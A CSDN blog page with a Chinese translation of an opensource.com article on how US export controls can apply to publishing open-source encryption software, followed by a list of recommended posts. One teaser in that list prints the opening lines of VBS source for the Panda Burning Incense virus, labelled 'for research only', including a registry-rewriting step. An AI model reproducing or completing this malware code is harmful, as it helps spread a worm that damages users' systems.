数据加密密钥 分发_分发加密软件可能违反法律-程序员宅基地

技术标签: 区块链  java  人工智能  密码学  大数据  

数据加密密钥 分发

自由和开源软件(FOSS)的开发人员,发行人和用户经常面临许多法律问题,需要牢记在心。 尽管经常讨论诸如版权,商标和专利之类的法律领域,但这并不是FOSS的唯一法律问题。 经常会引起注意的一个方面是出口管制。 令人惊讶的是,在公共网站上共享执行或使用加密功能的软件可能违反了美国出口管制法。

出口管制是各种法律规则的术语,它们共同对某些类型的出口施加限制,条件甚至是批发禁止,以促进国家安全利益和外交政策目标。 在美国,出口管制的历史由来已久,可追溯到独立战争以来,第一次大陆会议对英国实行了贸易禁运。 现代的美国出口管制制度包括国务院关于弹药出口的规定,财政部对美国的外国禁运和制裁制度的执行,以及商务部对“双重用途”物品的出口适用的规定,即具有民用以及与恐怖主义,军事或大规模毁灭性武器有关的应用的物品。

在第二次世界大战之后,加密技术的战略重要性已被明确确立,并且加密物品已被视为美国出口管制政策中的重要主题。 最初,加密软件和技术项目本质上被视为完全军事用途,因此其出口受到严重限制。 但是,这一结论在1960年代受到全球金融系统对有线汇款使用的日益增长的挑战,这提出了国际民用市场对密码学的迫切需求。 1975年,美国发布了IBM开发并经NSA修改的数据加密标准(DES),供政府和商业团体使用。 此版本通常被视为国际民用密码学发展的关键时刻。 但是,即使使用DES,加密软件仍然是大公司和学术研究人员的专有领域,并且与公众关注的问题相去甚远。

在1980年代和1990年代,个人计算机的兴起和Internet的普及促使更广泛的公众(尤其是电子商务)使用了加密软件市场。 面对民用市场对强大加密技术的竞争利益和禁止外国势力访问加密产品的情报价值,政府制定了法规,鼓励公司开发具有不同加密功能级别的产品的国内和国际变体,并进一步努力通过诸如失败的后门Clipper芯片之类的努力来确保自己对国内数据的访问。 尽管人们普遍需求,但政府在这段时期内努力限制更广泛地访问强加密,这通常被称为“加密战争”。 在整个1990年代后期,对加密软件的出口控制逐步放松,到2000年1月10日,对规则进行了修订,以至于大多数人认为加密战争已经结束。

尽管当今的加密软件已不再主要归类为弹药,但加密战争并未完全终止对加密软件的出口管制。 而且,近年来,加密策略的话题再次成为主流公众辩论的领域。 加密软件的出口仍受管制(商务部主要针对两用商品),并且违反了这些规定

出口管制合规

FOSS加密技术是一种功能强大的工具,即使对于最有能力的对手,也可以保护信息的机密性,完整性和身份验证,但是分发这些工具可能会带来一定的风险。 尽管某些FOSS加密软件的发行商可能有资格获得美国商务部禁止出口的一些低负担或无负担豁免,例外和例外规定,但其他发行人可能会面临重大合规义务。

在确保遵守出口管制方面,无可替代的是咨询有经验的律师。 确定出口管制制度下的适用义务以及履行这些义务的最佳方法可能是一项复杂具有挑战性的任务,有时不仅需要掌握法律,还需要对所涉及软件的熟练掌握。

翻译自: https://opensource.com/law/16/10/distributing-encryption-software-may-break-law

数据加密密钥 分发

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/cuml0912/article/details/107421830

智能推荐

XGBoost解决多分类问题_xgboost用于特征工程多分类-程序员宅基地

文章浏览阅读2.5w次,点赞4次,收藏23次。XGBoost解决多分类问题_xgboost用于特征工程多分类

吃透HTTP一:Http请求HttpUrlConnection,HttpClient、OKHttp详细介绍_httpurlconnection httpclient-程序员宅基地

文章浏览阅读2.2k次,点赞2次,收藏4次。一,HTTP概述HTTP协议是无状态的协议,即每一次请求都是互相独立的。因此它的最初实现是,每一个http请求都会打开一个tcp socket连接,当交互完毕后会关闭这个连接。HTTP协议是全双工的协议,所以建立连接与断开连接是要经过三次握手与四次挥手的。显然在这种设计中,每次发送Http请求都会消耗很多的额外资源,即连接的建立与销毁。于是,HTTP协议的也进行了发展,通过持久连接的方法来进行socket连接复用。HTTP/1.0+的Keep-Alive使用HTTP/1.0的客户端在首部中加上"C_httpurlconnection httpclient

vivo的android版本功能介绍,vivoX30发布,全新版本OS,新功能应用分享登场-程序员宅基地

文章浏览阅读1.3k次。vivo作为国内老牌手机厂商,在2019年最后的一个月迎来了旗下第三款5G手机——vivo X30。该系列手机搭载了全新A77架构的三星Exynos 980处理器,同时支持NSA和SA两种组网模式;这款芯片可以给手机终端提供更强大智能的AI性能和极速5G体验。近日安兔兔公布了对Exynos 980、骁龙765G和麒麟810三款芯片测试结果,从分数来看,Exynos 980在多个方面超越了另外两款芯..._vivox30最新系统版本

scatter file--ARM中的RO、RW和ZI DATA说明(2)_warning l6969w-程序员宅基地

文章浏览阅读3k次。scatter file--ARM中的RO、RW和ZI DATA说明(2)   分散加载文件事例ADS下的分散加载文件应用实例load_region_name start_address | " "offset [attributes] [max_size]{ execution_region_name start_address | " "offset [attri_warning l6969w

生产环境使用K8s一年后,我们总结了这些经验教训-程序员宅基地

文章浏览阅读3.3k次。我的公众号「码农之屋」(id: Spider1818),分享的内容包括但不限于 Linux、网络、云计算虚拟化、容器Docker、OpenStack、Kubernetes、SDN、OVS、DPDK、Go、Python、C/C++编程技术等内容,欢迎大家关注。2015年初,我们计划为开发团队搭建一套全新的部署平台,在此之前我们使用的是Amazon EC2。尽管AWS-based steup...

游戏公司凌晨维护服务器,亲爱的冒险家:为提供给广大玩家更好的游戏体验,游戏预计将于4...-程序员宅基地

文章浏览阅读129次。亲爱的冒险家:为提供给广大玩家更好的游戏体验,游戏预计将于4月26日凌晨3:30-10:00对服务器进行停机维护,如遇特殊情况开机时间将延后。本次维护内容较多,更新资源包预计将在300MB左右,请各位冒险家预留足够的内存空间。维护结束后我们将发放维护补偿:完美兽夹*3,银币*100000。同时,如遇到延迟开服的情况,每推迟1小时,全服玩家每人补偿50绑定符石,不足1小时按1小时计算。因此给您带来的...

随便推点

【软件】推荐一个屏幕截图(FastStone Capture),能截取鼠标光标_画面截取如何截图光标-程序员宅基地

文章浏览阅读542次。下载:1.百度搜索FastStone Capture下载2.百度云免费下载:链接:https://pan.baidu.com/s/1lnAY0P_K1IQGU71UTq8jaA提取码:g46u使用方法:设置截取鼠标光标,选择设置选择捕获--勾选“捕获图像时包含鼠标指针”截图效果,这样就包含鼠标光标了还能设置延时截图还有取色器,录像机功能..._画面截取如何截图光标

linux htb 源码学习-----------一篇我2012年写的Linux流控的文章给大家分享,本人已经不做这一行了_tcf_proto-程序员宅基地

文章浏览阅读1k次。Linux 流量控制源码学习队列的数据结构图网络设备的结构体红色粗体斜体,是流控相关的部分。struct net_device{/* * This is the first field of the "visible" part of this structure * (i.e. as seen by users in the "Space.c" file). I..._tcf_proto

Spring MVC 4 文件上传下载 Hibernate+MySQL例子 (带源码)_springmvc hibernate mysql实例下载-程序员宅基地

文章浏览阅读6.1k次。【本系列其他教程正在陆续翻译中,点击分类:spring 4 mvc 进行查看。源码下载地址在文章末尾。】【翻译 by 明明如月 QQ 605283073】下载地址:http://websystique.com/springmvc/spring-mvc-4-fileupload-download-hibernate-example/上一篇: Spring MVC 4_springmvc hibernate mysql实例下载

熊猫烧香病毒vbs版本 仅供研究-程序员宅基地

文章浏览阅读6.4k次,点赞6次,收藏13次。 dim fso,wsh,myfile,ws,pp,fsoFolder set wsh=w.createobject("w.shell") set fso=w.createobject("ing.filesystemobject") set myfile=fso.GetFile(w.fullname) 修改注册表(开始菜单里面的东西和IE各项设置)wsh.Regwrite "HKLM/SOFTW

HarmonyOS 2.0应用开发实战教程-程序员宅基地

文章浏览阅读1.6k次。学习B站全网首套鸿蒙HarmonyOS 2.0应用开发实战教程 的笔记

python读取excel文件_python读excel数据 菜鸟-程序员宅基地

文章浏览阅读272次。周末师姐让我帮忙处理一下之前的医疗数据,数据都存放在excel文件中,需要从里面提取出部分数据并转化为她指定的格式。总共有20几个文件,如果手动处理的话,不仅效率低下而且很繁杂,于是我编写了python脚本来完成了本次的工作,下面记录一下相关的知识,并做一个总结。我用到的库是:openpyxl首先安装openpyxlpip3 install openpyxl #安装openpyxl..._python读excel数据 菜鸟